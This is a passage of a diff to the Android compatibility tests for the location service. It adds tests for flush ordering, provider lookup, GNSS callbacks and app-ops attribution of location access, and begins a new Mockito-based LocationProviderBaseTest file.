+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            mManager.requestFlush(null, capture.getPendingIntent(), 0);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestFlush_Ordering() throws Exception {
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            for (int i = 0; i < 100; i++) {
+                mManager.requestFlush(TEST_PROVIDER, capture, i);
+            }
+            for (int i = 0; i < 100; i++) {
+                assertThat(capture.getNextFlush(TIMEOUT_MS)).isEqualTo(i);
+            }
+        }
+    }
+
+    @Test
+    public void testRequestFlush_Gnss() throws Exception {
+        assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            mManager.requestFlush(GPS_PROVIDER, capture, 1);
+            assertThat(capture.getNextFlush(TIMEOUT_MS)).isEqualTo(1);
+        }
+    }
+
+    @Test
     public void testListenProviderEnable_Listener() throws Exception {
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
             mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
@@ -649,7 +1057,7 @@
     @Test
     public void testGetAllProviders() {
         List<String> providers = mManager.getAllProviders();
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(providers.contains(LocationManager.GPS_PROVIDER)).isTrue();
         }
         assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
@@ -664,14 +1072,14 @@
     }
 
     @Test
-    public void testGetProviders() throws Exception {
+    public void testGetProviders() {
         List<String> providers = mManager.getProviders(false);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
 
         providers = mManager.getProviders(true);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
 
-        setTestProviderEnabled(TEST_PROVIDER, false);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
 
         providers = mManager.getProviders(false);
         assertThat(providers.contains(TEST_PROVIDER)).isTrue();
@@ -700,12 +1108,14 @@
     }
 
     @Test
-    public void testGetBestProvider() throws Exception {
+    public void testGetBestProvider() {
         List<String> allProviders = mManager.getAllProviders();
         Criteria criteria = new Criteria();
 
         String bestProvider = mManager.getBestProvider(criteria, false);
-        if (allProviders.contains(GPS_PROVIDER)) {
+        if (allProviders.contains(FUSED_PROVIDER)) {
+            assertThat(bestProvider).isEqualTo(FUSED_PROVIDER);
+        } else if (allProviders.contains(GPS_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
         } else if (allProviders.contains(NETWORK_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
@@ -725,12 +1135,22 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_FINE);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         criteria.setAccuracy(Criteria.ACCURACY_FINE);
         criteria.setPowerRequirement(Criteria.POWER_LOW);
         assertThat(mManager.getBestProvider(criteria, false)).isEqualTo(TEST_PROVIDER);
 
-        setTestProviderEnabled(TEST_PROVIDER, false);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
         assertThat(mManager.getBestProvider(criteria, true)).isNotEqualTo(TEST_PROVIDER);
     }
 
@@ -741,13 +1161,15 @@
         assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
 
         provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(provider).isNotNull();
             assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
         } else {
             assertThat(provider).isNull();
         }
 
+        assertThat(mManager.getProvider("fake")).isNull();
+
         try {
             mManager.getProvider(null);
             fail("Should throw IllegalArgumentException when provider is null!");
@@ -757,6 +1179,29 @@
     }
 
     @Test
+    public void testHasProvider() {
+        for (String provider : mManager.getAllProviders()) {
+            assertThat(mManager.hasProvider(provider)).isTrue();
+        }
+
+        assertThat(mManager.hasProvider("fake")).isFalse();
+    }
+
+    @Test
+    public void testGetProviderProperties() {
+        for (String provider : mManager.getAllProviders()) {
+            mManager.getProviderProperties(provider);
+        }
+
+        try {
+            mManager.getProviderProperties("fake");
+            fail("Should throw IllegalArgumentException for non-existent provider");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testSendExtraCommand() {
         for (String provider : mManager.getAllProviders()) {
@@ -885,7 +1330,7 @@
                     assertThat(received.isFromMockProvider()).isTrue();
                     assertThat(mManager.getLastKnownLocation(provider)).isEqualTo(loc1);
 
-                    setTestProviderEnabled(provider, false);
+                    mManager.setTestProviderEnabled(provider, false);
                     mManager.setTestProviderLocation(provider, loc2);
                     assertThat(mManager.getLastKnownLocation(provider)).isNull();
                     assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
@@ -979,138 +1424,20 @@
     }
 
     @Test
-    public void testAddProximityAlert() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
-
-            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
-            // hope the alert is added in the mean time.
-            Thread.sleep(500);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER,
-                    createLocation(FUSED_PROVIDER, 30, 30, 10));
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
-        }
-
-        try {
-            mManager.addProximityAlert(0, 0, 1000, -1, null);
-            fail("Should throw IllegalArgumentException if pending intent is null!");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            try {
-                mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if radius == 0!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-
-            try {
-                mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if radius < 0!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-
-            try {
-                mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
-                fail("Should throw IllegalArgumentException if lat/lon are illegal!");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-        }
-    }
-
-    @Test
-    public void testAddProximityAlert_StartProximate() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
-            assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
-        }
-    }
-
-    @Test
-    public void testAddProximityAlert_Expires() throws Exception {
-        if (isNotSystemUser()) {
-            Log.i(TAG, "Skipping test on secondary user");
-            return;
-        }
-
-        mManager.addTestProvider(FUSED_PROVIDER,
-                true,
-                false,
-                true,
-                false,
-                false,
-                false,
-                false,
-                Criteria.POWER_MEDIUM,
-                Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
-        mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
-
-        try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
-            mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
-
-            // adding a proximity alert is asynchronous for no good reason, so we have to wait and
-            // hope the alert is added in the mean time.
-            Thread.sleep(500);
-
-            mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
-            assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
-        }
+    public void testGetGnssCapabilities() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        assertThat(mManager.getGnssCapabilities()).isNotNull();
     }
 
     @Test
     public void testGetGnssYearOfHardware() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
         mManager.getGnssYearOfHardware();
     }
 
     @Test
     public void testGetGnssHardwareModelName() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // model name should be longer than 4 characters
         String gnssHardwareModelName = mManager.getGnssHardwareModelName();
@@ -1124,6 +1451,16 @@
     }
 
     @Test
+    public void testGetGnssAntennaInfos() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        if (mManager.getGnssCapabilities().hasAntennaInfo()) {
+            assertThat(mManager.getGnssAntennaInfos()).isNotNull();
+        } else {
+            assertThat(mManager.getGnssAntennaInfos()).isNull();
+        }
+    }
+
+    @Test
     public void testRegisterGnssStatusCallback() {
         GnssStatus.Callback callback = new GnssStatus.Callback() {
         };
@@ -1142,62 +1479,295 @@
     }
 
     @Test
-    public void testRegisterGnssMeasurementsCallback() {
-        GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
-        };
+    public void testRegisterGnssMeasurementsCallback() throws Exception {
+        try (GnssMeasurementsCapture capture = new GnssMeasurementsCapture(mContext)) {
+            mManager.registerGnssMeasurementsCallback(Runnable::run, capture);
 
-        mManager.registerGnssMeasurementsCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssMeasurementsCallback(callback);
+            // test deprecated status messages
+            if (mManager.hasProvider(GPS_PROVIDER)) {
+                Integer status = capture.getNextStatus(TIMEOUT_MS);
+                assertThat(status).isNotNull();
+                assertThat(status).isEqualTo(GnssMeasurementsEvent.Callback.STATUS_READY);
+            }
+        }
     }
 
     @Test
     public void testRegisterGnssAntennaInfoCallback() {
-        GnssAntennaInfo.Listener listener = (gnssAntennaInfos) -> {};
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        mManager.unregisterAntennaInfoListener(listener);
+        try (GnssAntennaInfoCapture capture = new GnssAntennaInfoCapture(mContext)) {
+            mManager.registerAntennaInfoListener(Runnable::run, capture);
+        }
     }
 
     @Test
-    public void testRegisterGnssNavigationMessageCallback() {
-        GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
-        };
+    public void testRegisterGnssNavigationMessageCallback() throws Exception {
+        try (GnssNavigationMessageCapture capture = new GnssNavigationMessageCapture(mContext)) {
+            mManager.registerGnssNavigationMessageCallback(Runnable::run, capture);
 
-        mManager.registerGnssNavigationMessageCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssNavigationMessageCallback(callback);
-    }
-
-    private boolean hasGpsFeature() {
-        return mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LOCATION_GPS);
-    }
-
-    private boolean isNotSystemUser() {
-        return !mContext.getSystemService(UserManager.class).isSystemUser();
-    }
-
-    private void setTestProviderEnabled(String provider, boolean enabled) throws InterruptedException {
-        // prior to R, setTestProviderEnabled is asynchronous, so we have to wait for provider
-        // state to settle.
-        if (VERSION.SDK_INT <= VERSION_CODES.Q) {
-            CountDownLatch latch = new CountDownLatch(1);
-            BroadcastReceiver receiver = new BroadcastReceiver() {
-                @Override
-                public void onReceive(Context context, Intent intent) {
-                    latch.countDown();
-                }
-            };
-            mContext.registerReceiver(receiver,
-                    new IntentFilter(PROVIDERS_CHANGED_ACTION));
-            mManager.setTestProviderEnabled(provider, enabled);
-
-            // it's ok if this times out, as we don't notify for noop changes
-            if (!latch.await(500, TimeUnit.MILLISECONDS)) {
-                Log.i(TAG, "timeout while waiting for provider enabled change");
+            // test deprecated status messages
+            if (mManager.hasProvider(GPS_PROVIDER)) {
+                Integer status = capture.getNextStatus(TIMEOUT_MS);
+                assertThat(status).isNotNull();
+                assertThat(status).isEqualTo(GnssNavigationMessage.Callback.STATUS_READY);
             }
-            mContext.unregisterReceiver(receiver);
-        } else {
-            mManager.setTestProviderEnabled(provider, enabled);
         }
     }
-}
+
+    private void addTestProviderForAttributionTag(String... attributionTags) {
+        mManager.removeTestProvider(TEST_PROVIDER);
+        mManager.addTestProvider(TEST_PROVIDER,
+                new ProviderProperties.Builder().build(), (attributionTags != null)
+                        ? new ArraySet<>(attributionTags)
+                        : Collections.emptySet());
+        mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+    }
+
+    @Ignore("b/181693958")
+    @Test
+    public void testLocationAttributionTagBlaming() {
+        // No tag set
+        addTestProviderForAttributionTag();
+        long timeBeforeLocationAccess = System.currentTimeMillis();
+        accessLocation(VALID_LOCATION_ATTRIBUTION_TAG);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /*expectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION,
+                /*unexpectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                VALID_LOCATION_ATTRIBUTION_TAG);
+
+        // Tag set and using that correct tag
+        addTestProviderForAttributionTag(VALID_LOCATION_ATTRIBUTION_TAG);
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        accessLocation(VALID_LOCATION_ATTRIBUTION_TAG);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /*expectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                /*unexpectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION,
+                VALID_LOCATION_ATTRIBUTION_TAG);
+
+        // Tag set and using a wrong tag
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        accessLocation(INVALID_LOCATION_ATTRIBUTION_TAG);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /*expectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION,
+                /*unexpectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                INVALID_LOCATION_ATTRIBUTION_TAG);
+
+        // Tag set and using that correct tag
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        accessLocation(VALID_LOCATION_ATTRIBUTION_TAG);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /*expectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                /*unexpectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION,
+                VALID_LOCATION_ATTRIBUTION_TAG);
+
+        // No tag set
+        addTestProviderForAttributionTag();
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        accessLocation(VALID_LOCATION_ATTRIBUTION_TAG);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /*expectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION,
+                /*unexpectedOp*/ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                VALID_LOCATION_ATTRIBUTION_TAG);
+    }
+
+    @Test
+    public void testGetLastKnownLocationNoteOps() {
+        long timeBeforeLocationAccess = System.currentTimeMillis();
+        mManager.getLastKnownLocation(TEST_PROVIDER);
+        assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                /* expectedOp */ AppOpsManager.OPSTR_FINE_LOCATION,
+                /* unexpectedOp */ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                null);
+
+        // Ensure no note ops when provider disabled
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        mManager.getLastKnownLocation(TEST_PROVIDER);
+        assertNoOpsNotedSinceLastLocationAccess(timeBeforeLocationAccess,
+                AppOpsManager.OPSTR_FINE_LOCATION, null);
+    }
+
+    @Test
+    public void testGetCurrentLocationNoteOps() throws Exception {
+        long timeBeforeLocationAccess = System.currentTimeMillis();
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(), capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getLocation(TIMEOUT_MS)).isEqualTo(loc);
+            assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                    /* expectedOp */ AppOpsManager.OPSTR_FINE_LOCATION,
+                    /* unexpectedOp */ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                    null);
+        }
+
+        // Ensure no note ops when provider disabled
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        try (GetCurrentLocationCapture capture2 = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture2.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(), capture2);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertNoOpsNotedSinceLastLocationAccess(timeBeforeLocationAccess,
+                    AppOpsManager.OPSTR_FINE_LOCATION, null);
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdatesNoteOps() throws Exception {
+        long timeBeforeLocationAccess = System.currentTimeMillis();
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            assertNotedOpsSinceLastLocationAccess(timeBeforeLocationAccess,
+                    /* expectedOp */ AppOpsManager.OPSTR_FINE_LOCATION,
+                    /* unexpectedOp */ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                    null);
+        }
+
+        // Ensure no note ops when provider disabled
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        timeBeforeLocationAccess = System.currentTimeMillis();
+        try (LocationListenerCapture capture2 = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture2);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertNoOpsNotedSinceLastLocationAccess(timeBeforeLocationAccess,
+                    AppOpsManager.OPSTR_FINE_LOCATION, null);
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdatesNoteOps_simultaneousRequests() {
+        Context attributionContextFast =
+                mContext.createAttributionContext(VALID_LOCATION_ATTRIBUTION_TAG);
+        Context attributionContextSlow =
+                mContext.createAttributionContext(ANOTHER_VALID_LOCATION_ATTRIBUTION_TAG);
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture fastCapture =
+                     new LocationListenerCapture(attributionContextFast);
+             LocationListenerCapture slowCapture =
+                     new LocationListenerCapture(attributionContextSlow)) {
+            attributionContextFast
+                    .getSystemService(LocationManager.class)
+                    .requestLocationUpdates(
+                            TEST_PROVIDER, new LocationRequest.Builder(0).build(),
+                            Runnable::run, fastCapture);
+            attributionContextSlow
+                    .getSystemService(LocationManager.class)
+                    .requestLocationUpdates(
+                            TEST_PROVIDER,
+                            new LocationRequest.Builder(600000).build(),
+                            Runnable::run,
+                            slowCapture);
+
+            // Set initial location.
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+
+            // Verify noteOp for the fast request.
+            long timeBeforeLocationAccess = System.currentTimeMillis();
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertNotedOpsSinceLastLocationAccess(
+                    timeBeforeLocationAccess,
+                    /* expectedOp */ AppOpsManager.OPSTR_FINE_LOCATION,
+                    /* unexpectedOp */ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                    VALID_LOCATION_ATTRIBUTION_TAG);
+            assertNoOpsNotedSinceLastLocationAccess(
+                    timeBeforeLocationAccess,
+                    AppOpsManager.OPSTR_FINE_LOCATION,
+                    ANOTHER_VALID_LOCATION_ATTRIBUTION_TAG);
+
+            // Verify noteOp for the slow request.
+            timeBeforeLocationAccess = System.currentTimeMillis();
+            Location loc3 = createLocation(TEST_PROVIDER, 0, 1, 10,
+                    SystemClock.elapsedRealtimeNanos() + 600000000000L);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc3);
+            assertNotedOpsSinceLastLocationAccess(
+                    timeBeforeLocationAccess,
+                    /* expectedOp */ AppOpsManager.OPSTR_FINE_LOCATION,
+                    /* unexpectedOp */ AppOpsManager.OPSTR_FINE_LOCATION_SOURCE,
+                    ANOTHER_VALID_LOCATION_ATTRIBUTION_TAG);
+        }
+    }
+
+    private void accessLocation(String attributionTag) {
+        Context attributionContext = mContext.createAttributionContext(attributionTag);
+        attributionContext.getSystemService(LocationManager.class).getLastKnownLocation(
+                TEST_PROVIDER);
+    }
+
+    private void assertNotedOpsSinceLastLocationAccess(
+            long timeBeforeLocationAccess,
+            @NonNull String expectedOp,
+            @NonNull String unexpectedOp,
+            String attributionTag) {
+        final UiAutomation automation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        automation.adoptShellPermissionIdentity(android.Manifest.permission.GET_APP_OPS_STATS);
+
+        try {
+            final AppOpsManager appOpsManager = mContext.getSystemService(AppOpsManager.class);
+            final List<AppOpsManager.PackageOps> affectedPackageOps =
+                    appOpsManager.getPackagesForOps(new String[]{expectedOp, unexpectedOp});
+            for (AppOpsManager.PackageOps packageOps : affectedPackageOps) {
+                if (mContext.getPackageName().equals(packageOps.getPackageName())) {
+                    // We are pulling stats only for one app op.
+                    for (AppOpsManager.OpEntry opEntry : packageOps.getOps()) {
+                        if (unexpectedOp.equals(opEntry.getOpStr())) {
+                            fail("Unexpected access to " + unexpectedOp);
+                        } else if (expectedOp.equals(opEntry.getOpStr())
+                                && opEntry.getAttributedOpEntries().containsKey(attributionTag)
+                                && opEntry
+                                .getAttributedOpEntries()
+                                .get(attributionTag)
+                                .getLastAccessTime(AppOpsManager.OP_FLAGS_ALL_TRUSTED)
+                                >= timeBeforeLocationAccess) {
+                            return;
+                        }
+                    }
+                }
+            }
+            fail("No expected access to " + expectedOp);
+        } finally {
+            automation.dropShellPermissionIdentity();
+        }
+    }
+
+    private void assertNoOpsNotedSinceLastLocationAccess(
+            long timeBeforeLocationAccess, @NonNull String unexpectedOp, String attributionTag) {
+        final UiAutomation automation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        automation.adoptShellPermissionIdentity(android.Manifest.permission.GET_APP_OPS_STATS);
+        try {
+            final AppOpsManager appOpsManager = mContext.getSystemService(AppOpsManager.class);
+            final List<AppOpsManager.PackageOps> affectedPackageOps =
+                    appOpsManager.getPackagesForOps(new String[]{unexpectedOp});
+            for (AppOpsManager.PackageOps packageOps : affectedPackageOps) {
+                if (mContext.getPackageName().equals(packageOps.getPackageName())) {
+                    // We are pulling stats only for one app op.
+                    for (AppOpsManager.OpEntry opEntry : packageOps.getOps()) {
+                        if (unexpectedOp.equals(opEntry.getOpStr())
+                                && opEntry.getAttributedOpEntries().containsKey(attributionTag)
+                                && opEntry
+                                .getAttributedOpEntries()
+                                .get(attributionTag)
+                                .getLastAccessTime(AppOpsManager.OP_FLAGS_ALL_TRUSTED)
+                                >= timeBeforeLocationAccess) {
+                            fail("Unexpected access to " + unexpectedOp);
+                        }
+                    }
+                }
+            }
+        } finally {
+            automation.dropShellPermissionIdentity();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java
new file mode 100644
index 0000000..f8452d4
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationProviderBaseTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.Location.EXTRA_NO_GPS_LOCATION;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.verify;
+import static org.mockito.MockitoAnnotations.initMocks;
+
+import android.content.Context;
+import android.location.Location;
+import android.location.provider.ILocationProvider;
+import android.location.provider.ILocationProviderManager;
+import android.location.provider.LocationProviderBase;
+import android.location.provider.LocationProviderBase.OnFlushCompleteCallback;
+import android.location.provider.ProviderProperties;
+import android.location.provider.ProviderRequest;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationProviderBaseTest {
+
+    private static final String TAG = "LocationProviderBaseTest";
+    private static final ProviderProperties PROPERTIES = new ProviderProperties.Builder().build();
+
+    private Random mRandom;
+
+    private @Mock ILocationProviderManager.Stub mManager;
+    private @Mock LocationProviderBase mMock;
+
+    private MyProvider mLocationProvider;
+
+    @Before
+    public void setUp() throws Exception {
+        initMocks(this);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mRandom = new Random(seed);
+
+        mLocationProvider = new MyProvider(ApplicationProvider.getApplicationContext(), TAG,
+                PROPERTIES, mMock);
+        mLocationProvider.asProvider().setLocationProviderManager(mManager);
+    }
+
+    @Test
+    public void testAllowed() throws Exception {
+        assertThat(mLocationProvider.isAllowed()).isTrue();
+
+        mLocationProvider.setAllowed(false);
+        verify(mManager).onSetAllowed(false);
+        assertThat(mLocationProvider.isAllowed()).isFalse();
+    }
+
+    @Test
+    public void testProperties() throws Exception {
+        assertThat(mLocationProvider.getProperties()).isEqualTo(PROPERTIES);
+
+        ProviderProperties properties = new ProviderProperties.Builder()
+                .setHasAltitudeSupport(true)
+                .setHasBearingSupport(true)
+                .setHasSpeedSupport(true)
+                .build();
+        mLocationProvider.setProperties(properties);
+        verify(mManager).onSetProperties(properties);
+        assertThat(mLocationProvider.getProperties()).isEqualTo(properties);
+    }
+
+    @Test
+    public void testReportLocation() throws Exception {
+        Location location = createLocation("test", mRandom);
+
+        mLocationProvider.reportLocation(location);
+        verify(mManager).onReportLocation(location);
+    }
+
+    @Test
+    public void testReportLocation_stripExtras() throws Exception {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_NO_GPS_LOCATION, createLocation("test", mRandom));
+        bundle.putFloat("indoorProbability", 0.75f);
+        bundle.putParcelable("coarseLocation", createLocation("test", mRandom));
+        Location location = createLocation("test", mRandom);
+        location.setExtras(bundle);
+
+        Location expected = new Location(location);
+        expected.setExtras(null);
+        mLocationProvider.reportLocation(location);
+        verify(mManager).onReportLocation(expected);
+    }
+
+    @Test
+    public void testReportLocations() throws Exception {
+        List<Location> locations = Arrays.asList(
+                createLocation("test", mRandom),
+                createLocation("test", mRandom));
+
+        mLocationProvider.reportLocations(locations);
+        verify(mManager).onReportLocations(locations);
+    }
+
+    @Test
+    public void testReportLocations_stripExtras() throws Exception {
+        Bundle bundle = new Bundle();
+        bundle.putParcelable(EXTRA_NO_GPS_LOCATION, createLocation("test", mRandom));
+        bundle.putFloat("indoorProbability", 0.75f);
+        bundle.putParcelable("coarseLocation", createLocation("test", mRandom));
+        Location location1 = createLocation("test", mRandom);
+        location1.setExtras(bundle);
+        Location location2 = createLocation("test", mRandom);
+        location2.setExtras(bundle);
+        List<Location> locations = Arrays.asList(location1, location2);
+
